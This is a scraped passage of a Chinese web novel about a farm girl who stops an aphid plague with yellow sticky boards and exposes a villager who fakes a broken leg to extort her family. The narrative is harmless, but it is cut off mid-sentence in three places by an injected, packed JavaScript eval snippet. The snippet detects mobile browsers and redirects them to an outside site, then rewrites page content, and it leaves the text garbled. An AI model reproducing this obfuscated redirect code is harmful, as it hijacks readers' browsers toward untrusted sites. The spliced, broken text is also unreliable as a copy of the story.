乔元抬头看了看天色，黄昏将至，马上就要到蚜虫飞跃的时间了。 她道：“阿娘，你把东西放到这儿就行，剩下的让我来。” 周素依言放下木盆，见乔家父子还在地里忙活，她也生了要帮忙的心思，先行下到地里去。 待周素走近，乔满山才后知后觉的发现自家娘子来了。 “你怎的来了，这里蚊虫蛇蚁多的很，仔细伤到。” 周素心下熨贴道：“我是同元姐儿一起来的，她说自己做了个好东西能治蚜子。” 乔满山不解：“这蚜子在田地间成千上万的，岂是她个丫头片子说治就能治？” 见丈夫不理解，周素宽慰道：“这孩子自打落水之后，就整天神神叨叨的。我听人说，落水的人三魂七魄会丢了一魄，咱们且先由着她，没准顺了她的意，那一魄就回来了。” 乔满山又何尝不知道女儿变得奇怪了些，他叹了口气，“罢罢罢，她要做什么就让她做什么去吧。” 在田埂上的乔元，自是不知道父母的这一番嘀咕。她先用绳子把木棍和黄板组装好，再在黄板的前后两面都薄厚适宜地涂上了鱼胶。 做完这些事情，乔元站起来估摸了一下自家小麦的占地面积，开始计算着要挂几张黄板。 在区域虫害轻重不能明确的情况下，黄板不能一股脑地随便乱挂，初始每亩地悬挂四片黄板来监测虫口密度是最为科学的。 乔元站在高处按照自己的经验把每一亩地大致分成四块，而后下地，在每一小块地的中央插上挂着黄板的树枝。 挂黄板的高度也是有讲究的，太矮不行，太高也不行。 对于诸如玉米之类的高杆作物来说，黄板应该挂在行间，高度与作物相同。但对于像小麦苗这样的幼苗期植物来说，就不能这样挂了，植株还在生长，得挂的比植株高上十至十五公分，这样才能更好的吸引害虫。 做回自己的老本行，乔元没费多少功夫就在田间插满了黄板。 一般来说检测蚜虫的虫口密度需要将黄板挂上七天，但现在事出紧急，乔元需要快速评估虫害轻重，因此她只取明天早上的最快结果。 在一旁边干活边观察乔元的乔满山，看着自家女儿在田间地头插满这些挂着黄木片的奇怪树枝，他心头的疑惑愈发明显。不仅是他，连带着周素也在想‘就凭这些东西，真的能治住蚜子？’ 乔元自是懂他们面上透出来的顾虑，但这种事情多说无用，等明早自见分晓。 帮着做了最后的收尾工作，乔家人收拾好农具，相协归家。 农人的生活很大情况下受到自然光线的制约，除非应急，一般很少有农户入夜了还点着油灯。 吃过晚饭，乔元摸□□着周素一起收拾了碗筷，也就擦了身子歇下了。 春日的天黑的快，今天只是回来稍晚些，不一会儿日光就失了踪迹，天黑的像灶上的锅底。乔元在厨房帮忙的时候，一转身膝盖磕了好几下，新伤加旧伤，痛的她龇牙咧嘴。 这会儿子躺在床上，乔元明显感受到膝盖又肿起一块。她在黑暗中睁着眼开始盘算，得想个法子赚钱，这日子可不能再这样过下去了。 迷迷糊糊地想着，乔元连自己什么时候睡着了都不知道。 不同于村落里的夜阑人静，石湾村的田地上此时正热火朝天，烧红的火把在田地的各个角落出现。 在乔伯石的指挥下，昨天第一批来抓蚜子的人已经把路口那块地的蚜子尽力抓了一遍，今天这一批人，该轮到稍中间些的地了。 八九个男丁，每个人腰间挂着一个纱网袋，从麦地里抓来的蚜子，就装到袋子里，等着天亮一起放火堆里烧了。 男丁们都是干农活的一把好手，乔伯石在旁边盯着，也挑不出错来。照这样下去，地里的蚜子定会被他们抓完。 虽说心头有些放松下来，但乔伯石还是依律在田地间穿梭，观察着小麦的受害情况。 “爹。”乔伯石的身后有人靠近，来人压低了声音，对他使了个眼色。 乔伯石会意，和来人在稍远些的垄上站定。 乔伯石：“怎么了？” 乔良继两鬓都是汗，不知道是跑的还是急的。他凑近乔伯石的耳边道：“我刚刚去看了昨日抓了虫的那些麦田，又长出了蚜子。” 乔伯石的面色登时沉了下来，“不是说已经抓完了吗！？” “是啊爹，我看着抓的，一个角落都没放过。”乔良继有些语无伦次。 “白天我还去看了一圈，各家各户都回我说地里还有一些，但已经不打紧了。” “可不知怎的，到了晚上我再去看，先是靠近中间麦田上的地又出现了蚜子，现下连靠近路边的麦田上也又有了。” “这可怎么办啊爹。” 乔伯石面色阴沉的更厉害，“别慌，蠢货！蚜害本就没这么容易结束，我们既已每晚都在地里捉虫，别人再想要指摘我们也得掂量掂量自己够不够份量。” 乔良继见父亲这般气势，只能诺诺应答道：“是，爹。” 儿子这副不争气的模样，乔伯石自是不愿多见，他冷淡道：“你也先去地里捉虫吧，让我再思量思量。” “是。” 在田间捉虫的几人，自是没有注意到乔伯石父子在田埂上的动静。 他们白天农忙完，晚上还得接着佝偻着腰背捉虫，便是铁打的身子也受不住，哪还有心思注意别人在干什么。还好是两个时辰轮一次班，再撑一会儿，马上就要到交接的时间了。 在靠后些地里捉虫的陈三才，见没人注意，迫切地直了直自己的腰杆子。捉蚜子这差事，可真不是人能干的，反正这块也不是他的地，稍微对付对付得了。 他用力捶着腰杆子，伺机放松一会儿。 这是他第一次在深夜到田地间来，月亮被厚重的云层遮盖，除去他们这一块，四周没有任何光亮，阴森森的。白日里鲜绿可人的麦子，到了晚上反倒像是潜藏着巨兽的幽潭，稍有一点动静，都要把陈三才吓上一跳。 他偷懒了一会儿，只觉得腰背舒服许多，正要继续捉蚜子，突然眼尖地瞥到了远处有一排东西直直地过来了。 “鬼！有鬼！有阴鬼来了！”霎时，陈三才跌倒在地，发出尖锐的哭嚎声。因为极度恐怖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367860|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他的声音都变了形。 在他前面捉蚜子的几人登时被吓的不轻，有人戾呵道：“陈三才，你在乱叫些什么！” 陈三才只觉得自己手脚发软，挣扎了几次还是摊在地上站不起来，他只能紧紧握着手里的火把，四处挥舞，颤抖着声音道：“在那儿，你们快看。” 在地里捉蚜子的几人都被他吸引，有些胆子大的先聚了过来。 果然，在远处的地里，有一排什么东西。 夜色浓重的像粘稠的墨，压抑地人喘不过气来。 最终，还是一个身形高大的中年男人先打破了沉默。 男人叫李槐，从前做过猎户，胆子也大。他道：“你们在原地别动，我先过去看看。” 说罢，他半猫着腰，小步地往前靠近。 陈三才此时已经被聚过来的众人扶了起来，他胡乱的抹了一把涕泪横流的脸，只想快些逃回家去。 此时在远处的李槐，见那东西并没有向他靠近，便高举火把壮着胆子再走近了些，直到他见到了一排又一排的树枝上挂着一块又一块的黄色板子。 …… 谁人竟如此无聊，在田间插满这些东西。 确认没有危险，李槐转头便重新回到了人群。 他道：“只是些木头枝子上头挂着点东西罢了，不是什么妖魔鬼怪。” 陈三才不信，“当真只是些木头枝子？” 李槐自是知道他不信，便道：“你若是不信，大可自己去看。” 陈三才忙摇了摇头，万一这东西怕李槐不敢攻击，见他瘦弱便来攻击他可怎么好。他只能梗着脖子道：“你说是便是罢。” 有人在背后笑他，“陈三才，枉你长到这般年岁，却被些木头枝子吓的倒地不起。” “就是，陈三才你可真乃神人也。” 陈三才的脸红的发烫，笑他的人多，他不敢反驳，只能恶狠狠道：“那是谁家的地，他家平白插这些木头枝子做什么！” 害的他在众人面前丑态百出。 李槐回忆了一下，道：“像是满山家的。” 有人奇道：“乔满山在自家地里插满这些木头枝子，他这是想做什么？” “难不成是用来驱邪的？”有人提出想法。 “怎么，还指望这几根破木头枝子来赶走蚜子吗？” 几人哄笑起来。 “不对呀，我下午远远瞧见，像是他家那个病弱的女儿在地里插的。” “他那女儿病歪歪的，前几日听说还落了水，谁知道是不是中了邪。” 陈三才一听，立马道：“那定是他那个中了邪的女儿做的，莫不是在施什么邪咒。我看今日不如就先到此为止吧，待明日一早，我们就去乔满山家讨个说法。” “陈三才，要去你自己去，左右不过是些木头枝子，我去了都嫌丢人。” “就是，你既如此胆小，倒不如和伯石说一说，把你名字从捉蚜子的名单上划去吧。” 几人又是一阵哄笑。 见无人应和自己，陈三才气的横眉倒竖，他把这口气憋在心里，心想等明儿天一亮，他就要去乔满山家给自己讨个说法。 5. 蚜虫（五） 乔元是被一阵喧闹声给吵醒的。 天还蒙蒙亮，鸡鸣不过几回，便是最辛勤的农人，此刻也该是刚起床的时候。 来人会是谁？ 乔元想到了那天在河岸上欲将她置之死地的男人，莫不是寻仇来了？ 再侧耳细细听了听，外头的声音听上去有些尖细，有气无力的，倒不是像那日的男人，亦或许是他的亲友？ 思及此，乔元快速地换好衣服走了出去，她不能连累自己家人。 此刻的乔家院子里，陈三才瘸着一只腿，正坐在地上撒泼打滚。 “乔满山我可告诉你了。” “你今儿不赔我这钱，我就赖在这儿不走了！” “我倒要看看你们乔家有多大的脸面！” 乔满山今早一开门，就见到瘸了腿的陈三才坐在他家门口。他好心将人请进来，陈三才说的话却让他一头雾水，“三才兄，这到底是怎么回事？” “什么怎么回事？你还敢问我怎么回事？”陈三才犹嫌气势不够，在院子里大声吵嚷道。“你女儿插的地里的那些邪祟害我跌了一跤摔断了腿，你说是不是该你乔家赔我！” “这……”乔满山一时间不知道该如何作答。 “陈兄弟，要不你还是先起来罢。”周素赔着笑脸，想去虚扶一把。 陈三才反倒用力一推，差点没把周素推地上。“你们能有这么好心，别还想着害我。” “娘！”乔长平立时箭步上去接住周素，朝着陈三才怒目圆瞪。 “怎么，你还想打我不成。”陈三才有恃无恐。 乔满山登时双手紧握青筋毕露，他拦在周素身前，让儿子先扶了她进去，压着怒意道：“三才兄，你且说怎么个赔法。” 陈三才抚掌笑道：“都说我满山兄是村里顶顶好的人，这话果然不虚。” “那就赔我一贯钱吧。”他拂了拂衣袖，装作大度道。 “一贯？！” 在景朝，一贯相当于七百七十文，市面上的猪肉一斤要价不过五十文，这怕不是要让乔家把老底都给交代出来。 “看在都是乡亲的份上，我这都已经是算体谅满山兄了。”陈三才一副小人做派。 “你！”乔满山这回是彻底被他激怒了。 乔满山身材魁梧高大，常年在地里劳作，手上更是有一把好力气，这样的人发起怒来没三五个人是断断拉不住的。 陈三才忍不住往后瑟缩了一下，硬着嘴皮子道：“这木头枝子是你家插的不是？是你就得赔我一贯钱，不然等我闹到里正那儿，你们谁都……” 还没等他说完，一把菜刀带着森森寒意从屋内飞出，擦着陈三才的脑袋砸向他身后的地面，铁质的刀面碰到地上，发出“哐当——”一声响。 菜刀落地，陈三才因为在地上折腾而松散了的头发也被削落下几根，轻飘飘地落到了他的衣袖上。 在场的两人，俱被这突如其来的变故震惊到一时失了言语。 “三才叔，真是不好意思，没拿稳，手滑了。” 乔元倚着门框，对陈三才笑的率真无邪，好像真的是因为自己手滑了，才让菜刀飞出去三米远。 “元姐儿，你出来干什么！”乔满山回过神来，对着女儿呵道。 这是大人之间的事，只要乔家的男丁没死绝，断然没有让女儿出面被人说三道四的道理。 乔元知晓乔满山是为她好，她道：“爹爹，此事因女儿而起，且先让女儿问上几句。” 陈三才被刚刚的菜刀吓的面色发白，转头见不过是个少女在故意吓他，他的脸由白转红，愈发怒不可遏。 “乔满山，这就是你家的态度，行，你等着，我现在就去告诉里正！” “别急呀。”乔元先瘸了腿的陈三才一步，一把捡起地上的菜刀，蹲在他面前挡住他的去路。“三才叔，你说你是被我插的木头枝子所伤，可有何凭据？” 陈三才上下打量了一下乔元一番，从鼻孔里冷哼一声，乔满山倒是生了个好样貌的女儿，只可惜长大必定是个泼妇。 “怎么，三才叔这是不愿相告了？”乔元道。 “你个丫头片子也不必吓唬我，你们若是不愿意赔我这一贯钱，我自会去找里正说理去。” “三才叔消消气，赔，我们肯定赔。”乔元笑的人畜无害。 陈三才没想到反倒是丫头片子自己认下了，果然和她那个只知晓用蛮力的爹一个蠢样。他施施然地理了理头发，对乔满山道：“这就对了，满山兄，你看你真是养了个有魄力的好女儿。” 乔满山刚正欲说话，乔元又道：“三才叔可能说了？” “自然是你插的这些木头枝子在夜晚招惹邪祟，害我惹到小鬼摔了一跤，你瞧我这腿，怕是一个月都干不了活了，现今要你家只一贯钱，我已是良善至极。” 乔元也不恼，“正是，三才叔真是宽宏大度。那这样罢，既然是我害的三才叔，我们乔家定当将钱奉上。不过这毕竟不是小数目，为了两家和气，还是请里正来做个见证为好。” “这倒不必。”陈三才眼珠转了转，“大家都是村里人，抬头不见低头见的，说出去也有损你姑娘家的名声，你家且赔我一贯钱，我就当没这回事，绝不出去乱说。” 陈三才的话说到这儿，饶是再笨的人，也看出来他就是上门来讹钱的。 乔元在他面前纹丝不动，“三才叔肯为我家受着委屈，我却是不肯的，三才叔放心，我刚刚已经托我大哥从后院出去请里正了，三才叔再稍等等。” 一听里正真的要来，陈三才慌了神。 他昨晚受了闲气，自是想着报复乔家。但他转念又想，与其痛骂两句，不如拿着此事做点文章，说不定能捞点钱来。这才趁着清早没人，来找乔家人的晦气。 他料定乔家怕被人知道在地里插了邪祟，这才敢有恃无恐。不料人家根本不怕，还找了里正来，陈三才面上汗津津的，不住地吞咽着口水。 “算了，你若是肯对我赔礼道歉，我也就不再追究此事。”他思索再三道。 “这怎么行，我爹从小就教我做错了的事情就得认罚，怎么能让三才叔白白伤到了腿。”乔元说的情真意切。 乔元正想着怎么和村里解释挂黄板就能治蚜虫这回事，没想到陈三才自己送上了门来，还真是天赐良机。 “里正到。”院外响起乔长平的声音，乔元起身打开门，却见门口不只里正一人，而是乌泱泱跟着好多村民。 也不怪他们，眼下正是去地里劳作的时候 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陈三才一听乔满山用治蚜子这么拙劣的借口来当挡箭牌，当下又不慌了，他道：“治蚜子？你就拿那几个破木头枝子能治什么蚜子，乔满山，你当里正好糊弄不成？” “就是。”围观的村民也跟着吵嚷起来。 “木头枝子能治蚜子，说出去谁信啊。” “乔满山，你莫不是真在地里施了什么邪咒想用蚜子来掩盖吧。” 里正此时也紧皱眉头，“乔满山，这可不能胡说，这木头枝子如何能治蚜子？” “里正若是不信，不如派人去地里看看？”自里正来后一直沉默的乔元出声。 里正看了一眼出声的女娃娃，目光清透坦荡，倒不像是个会说谎的。 他随即在人群中点了一个人，让他去地里看看。 但那人还没走几步，就听得有人边跑边高声喊道：“里正，里正在否？快去乔满山家地里看看罢，出大事了。” “怎么回事？”里正道。 来人跑的上气不接下气，“哎我嘴笨说不清楚，里正且先去看看罢。” 见来人急成这样，不只是里正，连围观的村民都觉得有些害怕，莫不是地里真的出了什么邪祟，大白天都敢出来伤人了？ 一行人浩浩荡荡地到了地里，果然，老远就瞧见了乔满山家地里插着的木头枝子，枝头上还挂着一块块黄色的木片。此刻，木头枝子的周边站了一圈人，围在一起不知道在说些什么。 “里正到。”乔长平再次大喊出声。 见里正到来，在地里的人忙上来见礼。 里正虽然拄着拐杖腿脚不利索，但周身气势不减当年，“到底怎么回事。” “这……里正还是自己下去看看罢。”人群有人出声。 里正也不含糊，不肖人扶，拄着拐杖就下到了地里。 待他看清木头枝子上挂的黄板沾着的东西后，瞬间便了脸色。 是蚜子！ 密密麻麻的蚜子被沾在黄板上动弹不得。 里正此时也顾不得仪态，他忙拄着拐杖又四下看了看。不仅是这一处，乔满山地里的各处黄板上，全部都沾满了密密麻麻的蚜子！ 6. 蚜虫（六） 等不及看乔家出丑的陈三才，见里正在地里很是恍惚，便料定乔家真的摊上事了，他急不可耐地也跟着下到了地里。 “里正，我道的可是不错，这乔满山家确是在地里行邪祟之事！” 里正也算是在石湾村活了一辈了，但他还从未见过这样的东西，单靠一张板子，就能沾满这许多蚜子。若是把这东西插满地里，这区区蚜灾还有何可惧。偏陈三才还在一旁说嘴，里正抬起拐杖就重重给了他一棍子。 “哎呦，里正你打我作甚。”陈三才只觉得冤枉。 “陈三才，你且好好看看这些板子上沾的是什么东西！” “能是什么东西，不过是……”陈三才根本不把板子当一回事，但里正都这么说了，他也只能捞了张近处的板子来瞧，待他看清黄板上沾的东西，只觉得眼前一黑。 这怎么……怎么……乔满山这厮说的居然是真的！ 完了，这下全完了。 陈三才只觉两膝一软，直接摊在了地里。 里正哪里还有闲工夫管他，忙回到田埂上问道：“乔满山，这到底是怎么回事？” 在乔家的说的那一番话，是乔满山照搬周素那天对他说的。他今早起来连地都不曾下过，哪里清楚是怎么回事。 他谨慎着开口，“里正，可是有何不妥。” “不妥？我看是太妥了，满山，你这是怎么想出来的法子，你简直就是我们石湾村的救命恩人啊！” 乔满山被里正这话说的丈二和尚摸不着头脑，到底是怎么回事。 见乔满山面带疑惑，里正又道：“对对对，我忘了你还没下地看过，你且去看吧，快去，你们都去。” 地里总共也就留了一小条过人的缝隙，角角落落都站满了人，下到地里的人看清黄板上沾着的蚜虫，无一不瞠目结舌。 众人此时心里头只有一个想法，有救了！这要命的蚜害有救了！ 今早那些在乔家院子里嘲讽过乔满山的那些人，此刻恨不得地上有条缝钻到地底去。这样的法子闻所未闻，谁知道居然真被他乔满山给干成了。 乔满山只当是为了顺女儿意，才在默许她在地里插上这些东西，没想到这东西真能除掉蚜子！ 他面语气里的欣喜按捺不住：“元姐儿，这到底是怎么回事。” “对，元姐儿你快说说，这到底是怎么做到的？”里正这才想起，先前就听乔满山说这是他女儿做的，他现在迫切的想知道来龙去脉。 一群人围着乔元，目光灼灼，等着她开口。 乔元丝毫不露怯，她道：“里正问询，乔元自该知无不言，言无不尽，只是……”她的目光扫了一眼众人。 里正会意，立时把人支开，只带着乔家两人到了旁边的大树根底下。 乔元有了跟张秀花扯谎的经验，把上次落水遇河伯的故事又原封不动的讲了一遍，听的里正是啧啧称奇。 乔满山第一次听到这样的事情，他的目光里多了几分复杂的情绪，他的元姐儿心里怎么会藏了这么多事情。 见里正已信了七八分，乔元又道：“此方是河伯秘授，乔元和盘托出已是违背老神仙的意愿，此事多一个人知道，就多一分惹怒河伯的风险，还望里正体谅。” 人是复杂的生物，爱信诡传的谎言，却不愿信切实的真话。这也是乔元不当着众人面说自己被河伯授法的原因，这样既可以虚张声势，又能保全自己和家人。 金石镇每年都会祭祀河伯，里正自是知晓其中利害，他道：“元姐儿放心，我定不会说出去，只是这蚜害不等人，你可能再做出这样的黄板？ “自是可以。”乔元道：“但这黄板制作不易，且要支撑整个村子的用度，怕是要费上几日功夫。” 听到乔元肯定的回答，里正放心下来，“村里的人自有我去说，元姐儿，你只要能做出这黄板，你做多少村里就收多少，绝不让你吃亏。” 得到想要的答案，乔元也不扭捏，当即应承了下来。 乔满山从刚开始就站在一旁没说话，女儿的气质和谈吐和从前判若两人，他心里五味杂陈，像是第一天才认识这女儿似的。 回到人堆里，里正马上就把乔元挂黄板的法子说了，中间隐去了河伯这一段，只说她是机缘巧合才得知了这个方法。 村人早就被蚜子给害的惨了，如今乔满山地里黄板上沾满蚜子大家是有目共睹，自是无人反对。 黄板的价钱是刚刚乔元同里正商量好的，三文一张。要知道现如今的小葱都能卖到五文一斤。能治蚜子的东西才三文一张，真是便宜到海了去了。 乔元之所以这么定价，一是因为黄板本身就没什么技术含量，二是看着一张不过三文，现在蚜虫在地里泛滥，一亩地至少要用到二十五到三十五张才能控制住。这价格虽便宜，但累计起来却也不是小数目。而且黄板不耐用，时常更换也是比收入。 怎么算她都不亏。 里正和乔元敲定好第一批黄板投入使用的时间，便打算乐呵呵地往回走去。 “里正且慢。”乔元道。 “元姐儿，还有何事？” 乔元对里正行了一礼道：“陈三才污蔑我父，欺辱我母，还妄图讹我家一贯钱，此事还请里正明察。” 被黄板能治蚜子的喜悦冲昏了头脑，众人这才想起，仿佛他们早上来这里，是因为陈三才说乔家的地里插满了邪祟害人。 “陈三才呢！把他提上来。”里正也想起了这回事，语带严肃道。 陈三才趁着众人都聚在一起听里正说话的功夫，早就想溜走，但奈何出田埂的路只有一条，且已经被众人占据，他只得缩在地里，尽量减少存在感。 只可惜，是祸躲不过，被人提到里正跟前的时候，陈三才只觉两股战战，他的眼皮耷拉的厉害，活像只阴沟里的老鼠。 “陈三才，是你说乔家地里插了邪祟，不仅害你跌伤了腿，今儿早上乔家人还想打你？” “……是。可就算乔家地里插的不是邪祟，我也因他这些黄板而跌断了腿，找乔家赔钱也不算冤”陈三才害怕归害怕，他总想着万一自己能蒙混过去。 乔元一听陈三才还想狡辩，她扯了扯乔满山的袖子，对他偷偷说了几句。 乔满山会意，一步上前出声道：“不知三才兄伤到了哪里，我手上颇有几分正骨功夫，且让我为三才兄看看。” 陈三才哪里敢给乔满山看，他挥手道：“大可不必，我已经请人看过了。” 乔满山继续说道：“此事终究是我乔家的错，合该我乔家来为三才兄医治。” “去去去，很是用不上。”陈三才摆着袖子不让乔满山接近。 见陈三才表情怪异，周遭有人道：“陈三才，人家好心帮你看看腿，你为何还拒绝别人，你莫不是装的吧？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13367862|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又有人道：“满山兄，既他陈三才如此不识抬举，你大可不必理他。” 乔满山站在陈三才面前岿然不动，面上带着十足的歉意：“三才兄，且让我给你看看吧。” 陈三才内心忐忑不安，还没等他想出拒绝的借口。只听得里正道：“陈三才，你给乔满山看看。” 乔满山得令，立即蹲在陈三才脚边，刚要掀开他的裤腿，只见陈三才一脚踹到乔满山胸口，将他踹翻，随即从地里起身想往外跑。 “爹——” “快！给我抓住他！”里正被这突如其来的变故吓了一跳，忙大声喊道。 陈三才没跑几步，就被人摁倒在地，灰头土脸地被抓了回来。 另一边的乔元也扶起了被踹倒在地的乔满山。 “给我扒开他的裤腿！”里正此时面色阴沉，他已经猜到了。 果然，别说断腿了，陈三才的腿上连一点伤痕都找不到。 “陈三才，你平日不学无术也罢，你爹健在我也不便管教你。可你倒好，竟想出装瘸这样歪门邪道的法子来讹村人钱财。若我今日听信你之言，相信满山家在用邪祟之术，这好不容易得来的治蚜子的法子，岂不是要被你一人毁去，让全村人跟着你遭殃。” “我今日定要给你个教训不可。” 说罢，里正点了两个年轻力壮的汉子，让他们来给陈三才打上十棍。 石湾村的规矩，若是有人败坏村风，戕害村民，视情节严重处以五到二十棍不等，而后再移交官府。 陈三才此时趴在地上涕泪横流。他是真后悔了，他就不该瞧着乔家三代贫农好欺负，才想了这么个法子去讹人家。他本想挑个软柿子捏，谁能想到乔家这样的三代贫农，还能出得了乔元这般人物。 此时再多想也无用了，年轻汉子手脚利索，不一会儿就拿了棍子来，棍子莫约有两指粗，坚硬无比，一下又一下责打在陈三才身上，先头几下他还能惨叫出声，后面则是痛到连发声的力气都没有了。 十棍责打完毕，陈三才面无血色，整个人止不住的哆嗦。 里正道：“你们两个将他抬回陈家，务必告诉陈家老爷子他这儿子犯了什么事儿。” “是。” 见陈三才被抬着走，里正转身对着乔满山道：“满山，刚刚这一脚你可要紧？” “他这脚用力不重，应是无碍。”乔满山道。 他拉着乔元，两人对里正行了大礼，“多谢里正为我家主持公道。” 里正摆摆手，示意他别放在心上，随后对众人道：“我石湾村以清正之风立世，若再有人同陈三才一样讹诈村人，乱传谣言，以致人心混乱，我必定严惩不贷！你们可听清楚了？” “里正放心，吾等不敢。”众人齐声回道。 里正点点头，这才缓缓离去。 里正一走，众人见没有热闹可看，自然渐渐散去。 乔满山和乔元两人，也往自家地里走去。 “元姐儿，你可有什么同我说的？”乔满山先开口道。 不管是河伯授法也好，还是要求里正惩治陈三才也好，他明显感觉到，他这女儿已经不像他女儿了。 乔元知道这些话瞒得过别人，瞒不过乔元的亲生爹娘，她站定，目视眼前这个身材魁梧的汉子，神色平淡。 “爹猜的没错，其实根本就没有什么河伯授法。” 7. 蚜虫（七） 河伯授法，根本没有办法解释她的性格还有行为习惯与从前大相径庭。 乔满山没想乔元如此直接的说出了这句话，他脚步顿在原地，不知该如何作答。 乔元低头，任由风拂起她脸颊的碎发。她的声音悠悠传入乔满山的耳朵：“爹，其实在我落水昏迷的这段时间，并没见过什么河伯，而是去了另一个世界。” “那个世界与这里截然不同，像蚜子这样的害虫，在那里根本不值一提，只消喷上农药就能解决。” “那里的麦子不用人工来种，他们有一种名为‘机器’的东西，插秧，收割，都可以用它来完成。” “在那里不用担心吃不饱，顿顿有菜有肉有饭，还有各色吃食，价格低廉，人人都买得起吃得起。” 乔元的话语平淡，却带着深深的怀念。她在想她的家人，想她原来的世界。 只可惜，再也回不去了。 乔满山敏锐地感觉到女儿的声音开始带了哭腔，他忙道：“罢了元姐儿，是爹惹你伤心了，爹不再问就是了。不管你梦到了什么去到了哪里，你就是我的元姐儿，是我和你娘的掌上明珠。” 乔元听完这话，连带着思乡情绪，只觉得鼻头一酸，眼泪“唰”一下就流了下来。 田埂上人多口杂，她不敢蹲在地上嚎啕大哭，只能用袖子掩面，低低地、隐忍地哭了一场。 乔满山叹了一口气，抚上了她的发髻，有一下没一下的拍着。 恍惚间，时间好像回到了乔元刚出生的时候。 乔元是他的第一个女儿。 那时候周素刚生产完，身子虚弱带不了整夜。女儿夜半哭泣的时候，他也是这样，有一下没一下的拍着她。一下，又一下。 看着她从蹒跚学步的奶娃娃，出落成这样亭亭玉立的少女。 —— 坐在自家田埂上，乔元多少觉得有些羞赧。 她明明已经想到了合理的理由解释这一切，却突然之间情绪失控，像个十几岁的小姑娘一样，在父亲面前大大哭了一场。 拍了拍脸颊，乔元整理好情绪下到地里。 今早因为陈三才这一折腾，日头已经快到正午了。她得赶紧记录各处黄板上的蚜虫分布信息，确认虫害的轻重情况。 从东南角开始，乔元按顺序把木头枝子上的黄板一一回收回来。 黄板上的蚜虫的数量已经远超她的想象，密密麻麻沾满了一堆，有不少还在黄板上挣扎爬动，看久了让人有些头皮发麻。 在理想情况下，一个地区蚜虫的极值约是土地面积的六十倍。乔元虽然没有设备可以估算黄板上到底沾了多少只蚜虫，但可以确定的是，这次的蚜虫灾害是她见过最极端的一次。 从不同角落回收回来的黄板上还传递了另一个信息，在田地里靠近沟渠的部分，蚜虫的数量会比靠近田埂的要的多。这倒是符合乔元的预期，毕竟蚜虫喜好温暖湿润的环境，沟渠有水，数量自然就会增多。 把数据规整好，乔元在心里有了计较。这样看来，一亩地前期至少需要挂三十张黄板。鱼胶的粘性虽强，却也顶不住蚜虫数量的庞大，一至两日就得换上一张。 数量这么庞大的黄板，光靠她一个人可做不出来。乔元把打算和乔满山说了，乔满山略微思索了一番，心里有了主意。 镇上的木片子贵，离村里也远，一来一去的功夫就能耗上一整天。乔满山带着乔元快步回家收拾了点干粮，和周素还有乔长平交代清楚后，两人便村外走去。 林荫道上。 “爹，我们这是要去哪里？”乔元边走边问道，带着一丝好奇。 “去爹的一个老友哪儿，他是个木匠，你要的这些木片，他定能给你做出来。” 乔元点了点头，没再说话。 石湾村有牛车的不过几户人家，现下正是农忙的时候，没几家能借的出牛来，两人只能靠着最原始的方法徒步往木匠家走去。 日头渐高，乔满山找了一个凉快的树荫，招呼乔元坐下，两人从包袱里拿出干面膜膜，对付着当做午饭。 “元姐儿，你是怎么知道那陈三才是装瘸的？”乔满山得空下来，问出了心头疑惑。 乔元费劲地咽下手中的馍馍，然后才道：“爹，你想，像他这样唯利是图的人，若脚上真的受了伤，昨晚便找人上我们家发难了，何必等到今日。况且，他家在村西在咱们家在村东，中间还得经过村里铺的石子路。石子硌脚，他若真伤了脚，今晨定到不了我们家。” 乔满山点了点头，看向乔元的目光中带了几分欣赏，他竟是没想到这一层。 乔元还省了些话没说出口，像陈三才这样的人，只有在众人面前揭穿他的真面目，才能让他收敛忌惮。宁惹君子不惹小人，若小人上门，就力求一击即中，让他不敢再犯。这也就是乔元为什么第一时间让大哥去请里正，并拿刀吓唬陈三才的原因。 吃完午饭，父女俩闷头赶路，终是在半个时辰后，赶到了木匠家。 木匠家就在山林旁边，树林郁郁葱葱的，阳光透过树叶的缝隙洒下斑驳的光影。 两人在木匠家的篱笆门前站定，乔满山上前对着里头喊道：“永丰兄，你可在家？” “谁人？”从屋里传出一个粗狂的声音。 没一会儿，只见一个满脸横肉，身强体壮的男人走了出来。男人手上拿着斧子，凶神恶煞的。 “是我，乔满山。” 听到这句话，李永丰忙撤开篱笆，迎两人进来。 “满山兄，你今日怎么得空来了。”李永丰喜道。“你我许久不见，今日可是要好好喝上一杯。” 他又看向乔满山身边的少女，问道：“这位是？” “我家女儿少出来走动，永丰兄定是没见过。”乔满山笑道。“元姐儿，快给你永丰叔见礼。” 乔元闻言，给李永丰做了一礼道：“乔元给永丰叔见礼。” 李永丰笑的很是畅快，“满山兄，你可真是养了个好女儿，不仅模样出挑，性情更是没话说。” “你们远道而来定是渴了，快，快进寒舍喝杯茶吧。” “不忙不忙，今日来，是有事想麻烦永丰兄。” 李永丰道：“满山兄但说无妨。” 几人坐在堂屋，乔满山把地里遭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 